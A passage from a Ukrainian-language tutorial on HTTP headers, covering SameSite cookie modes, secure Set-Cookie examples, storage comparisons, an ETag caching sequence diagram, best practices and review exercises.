    Set-Cookie: sessionId=abc123; SameSite=Lax
    

    Cookie надсилається:
    • У навігаційних GET-запитах (перехід за посиланням, форма з GET).
    • НЕ надсилається у POST, PUT, DELETE з іншого домену.

    Захищає від більшості CSRF, зберігаючи UX.
  3. SameSite=None — дозволяє міждоменні запити (потребує Secure)
    Set-Cookie: trackingId=xyz; SameSite=None; Secure
    

    Cookie надсилається у всіх запитах (same-site та cross-site). Використовується для:
    • Вбудованих віджетів (iframe).
    • OAuth-авторизації.
    • Трекінгу (аналітика, реклама).

Порівняння:

СценарійStrictLaxNone
Перехід за посиланням з email
POST-форма з іншого сайту
AJAX-запит з іншого домену
Запити в межах свого сайту

Приклади комбінацій атрибутів

1. Session cookie для автентифікації (найбезпечніший)

Set-Cookie: sessionId=abc123xyz456; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600

2. Persistent cookie для "Remember me" (30 днів)

Set-Cookie: rememberToken=longtoken123; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=2592000

3. Cookie для UI-налаштувань (без HttpOnly, 1 рік)

Set-Cookie: theme=dark; Secure; SameSite=Lax; Path=/; Max-Age=31536000

4. Cookie для OAuth callback (cross-site)

Set-Cookie: oauthState=randomstate; Secure; SameSite=None; Path=/auth; Max-Age=600

5. Видалення cookie (Max-Age=0 або Expires у минулому)

Set-Cookie: sessionId=; Max-Age=0; Path=/

або

Set-Cookie: sessionId=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Path=/
ХарактеристикаCookieLocalStorageSessionStorage
Розмір4 КБ на домен5-10 МБ на домен5-10 МБ на домен
Автоматична передача✅ Так (заголовок Cookie)❌ Ні❌ Ні
Доступ з JS✅ Так (якщо не HttpOnly)✅ Так✅ Так
Час життяНалаштовуєтьсяНазавжди (до очищення)До закриття вкладки
ВикористанняАвтентифікація, сесіїКеш, налаштуванняТимчасові дані форми
БезпекаHttpOnly, Secure, SameSiteXSS-вразливіXSS-вразливі
Рекомендація для автентифікації:
Cookies з HttpOnly + Secure + SameSite є найбезпечнішим варіантом для збереження токенів. LocalStorage доступний для XSS-атак — якщо зловмисник впровадить скрипт, він може вкрасти токен.

Діаграма взаємодії заголовків

@startuml HTTP Headers Interaction

skinparam backgroundColor #FEFEFE
skinparam handwritten false

actor "Клієнт\n(Браузер)" as Client
participant "Кеш\nБраузера" as Cache
participant "CDN/Проксі" as CDN
participant "Веб-сервер\n(nginx)" as WebServer
participant "Backend\n(API Server)" as Backend
database "База даних" as DB

== Перший запит (кеш порожній) ==

Client -> WebServer: GET /api/products\n**Request Headers:**\nHost: api.example.com\nUser-Agent: Mozilla/5.0...\nAccept: application/json\nAccept-Encoding: gzip, br\nCookie: sessionId=abc123

WebServer -> Backend: Перевірка сесії,\nзавантаження даних

Backend -> DB: SELECT * FROM products

DB --> Backend: Дані продуктів

Backend --> WebServer: JSON-відповідь

WebServer --> Client: HTTP/1.1 200 OK\n**Response Headers:**\nContent-Type: application/json\nContent-Encoding: gzip\nETag: "products-v5-hash"\nCache-Control: private, max-age=300\nSet-Cookie: lastVisit=2026-08-29\n\n[JSON дані]

Client -> Cache: Зберегти у кеш\n(5 хвилин)

== Другий запит (кеш актуальний, <5 хв) ==

Client -> Cache: GET /api/products

Cache --> Client: Повернути з кешу\n(без запиту до сервера)

== Третій запит (кеш застарів, >5 хв) ==

Client -> WebServer: GET /api/products\n**Conditional Request:**\nIf-None-Match: "products-v5-hash"\nCookie: sessionId=abc123

WebServer -> Backend: Перевірити ETag

Backend --> WebServer: Дані не змінилися

WebServer --> Client: HTTP/1.1 304 Not Modified\nETag: "products-v5-hash"\nCache-Control: private, max-age=300\n\n[Тіло порожнє]

Client -> Cache: Використати\nстарі дані з кешу

note right of Client
  Економія трафіку: ~80%
  Лише заголовки, без тіла
end note

== Четвертий запит (дані оновилися) ==

Client -> WebServer: GET /api/products\nIf-None-Match: "products-v5-hash"

WebServer -> Backend: Перевірити ETag

Backend -> DB: SELECT * FROM products

DB --> Backend: Нові дані

Backend --> WebServer: JSON з новими даними

WebServer --> Client: HTTP/1.1 200 OK\nETag: "products-v6-hash"\nCache-Control: private, max-age=300\n\n[Нові JSON дані]

Client -> Cache: Оновити кеш

@enduml

Узагальнення та найкращі практики

🔒 Безпека

Обов'язкові заголовки для продакшн:

  • Secure для всіх cookies через HTTPS
  • HttpOnly для автентифікаційних cookies
  • SameSite=Strict або Lax для захисту від CSRF
  • Приховувати версію у Server заголовку
  • Використовувати HTTPS для Basic Authentication

⚡ Продуктивність

Оптимізація кешування:

  • Статичні файли: Cache-Control: public, max-age=31536000, immutable
  • HTML: Cache-Control: no-cache + ETag
  • API: Cache-Control: private, max-age=<час> + ETag
  • Завжди використовувати Accept-Encoding: gzip, br
  • Умовні запити (If-None-Match) економлять до 80% трафіку

📝 Content Negotiation

Узгодження контенту:

  • Accept для формату (JSON, XML, HTML)
  • Accept-Language для мультимовних сайтів
  • Accept-Encoding для стиснення
  • Vary для коректного кешування варіацій

🍪 Cookies

Налаштування cookies:

  • Session: HttpOnly; Secure; SameSite=Strict; Max-Age=<час>
  • Remember me: HttpOnly; Secure; SameSite=Lax; Max-Age=2592000
  • UI: Secure; SameSite=Lax; Max-Age=31536000
  • Видалення: Max-Age=0

Контрольні питання

::

Завдання: Проаналізуйте наступний заголовок та знайдіть проблеми безпеки:

Set-Cookie: sessionId=user123token; Path=/; Max-Age=86400

Що не так? Як виправити?

Завдання: Реалізуйте сценарій оптимістичної блокування для оновлення статті блогу. Напишіть RAW HTTP-запити та відповіді для успішного та конфліктного оновлення.

::


Додаткові ресурси

  1. RFC 9110 — HTTP Semantics (офіційна специфікація заголовків).
  2. MDN Web Docs: HTTP Headers — повний список заголовків з прикладами.
  3. web.dev: HTTP Caching — глибокий посібник з кешування від Google.
  4. OWASP: Cookies Security — рекомендації безпеки для cookies.
Наступний розділ:CORS та безпека HTTP — детальний розгляд міждоменних запитів, CORS, CSP, HTTPS security headers.
Copyright © 2026